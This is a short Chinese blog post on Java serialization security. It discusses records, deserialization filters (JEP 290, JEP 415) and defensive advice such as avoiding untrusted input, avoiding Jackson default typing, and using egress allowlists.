  • Java 应对自身序列化问题的主要方法是,提供一个只序列化数据而不需要序列化对象状态的渠道。具体来说就是 java16 引入的 recordrecord 引入虽然主要是为了减少模板代码,但同时也提供了一个新的序列化机制。在新的序列化机制下,record 的序列化是通过构造器初始化,然后走访问器 get/set,当然这个机制主要是针对数据类,但我们实际开发中的大部分场景,不管是 api 接口数据、前后端数据交互、缓存数据存储,和序列化相关的其实大部分都是数据类。因此感觉record 已经能满足我们大部分序列化需求了

  • 针对非数据类,Java 计划提供注解或其他方式,来让我们自己控制序列化和反序列化,但这种工作量明显更大,而现存的 Externalizable 在某种程度上也能实现这个功能,但效果还是差强人意

  • Java9(JEP 290)还引入了一个全局的反序列化过滤器,这样你就可以在反序列化之前验证传入的数据流,但对复杂场景来说这个过滤器有其局限性,后来 JEP 415 又提供了过滤器工厂来尝试完全解决这个局限性,让我们的过滤器可配置并在 JVM 范围内起作用,但用的人好像很少

  • 综上,感觉实际开发中 Java 的序列化还是用record 比较好

如何避免 Java 序列化漏洞

  • 不反序列化不信任的外部数据,至少在反序列化外部输入数据时要想一下

  • 在反序列化的时候尽量使用具体类,不要使用 Object 或太通用的基础接口:objectMapper.readValue(json, Object.class);

  • 使用 Jackson 时不要启动enableDefaultType 功能

  • 更新到最新的库

  • 做出访限制:很多攻击都依赖于服务器对外访问,来下载恶意脚本,或向外发送本地数据。出访白名单能限制大部分的漏洞攻击

参考资料


发布于: 2022 年 03 月 28 日阅读数: 30
用户头像

陈德伟

关注

还未添加个人签名 2018.04.26 加入

还未添加个人简介

评论 (1 条评论)

发布
用户头像
请添加个人简介哦!
5 小时前
回复
没有更多了
Java中的序列化安全漏洞梳理_Java_陈德伟_InfoQ写作平台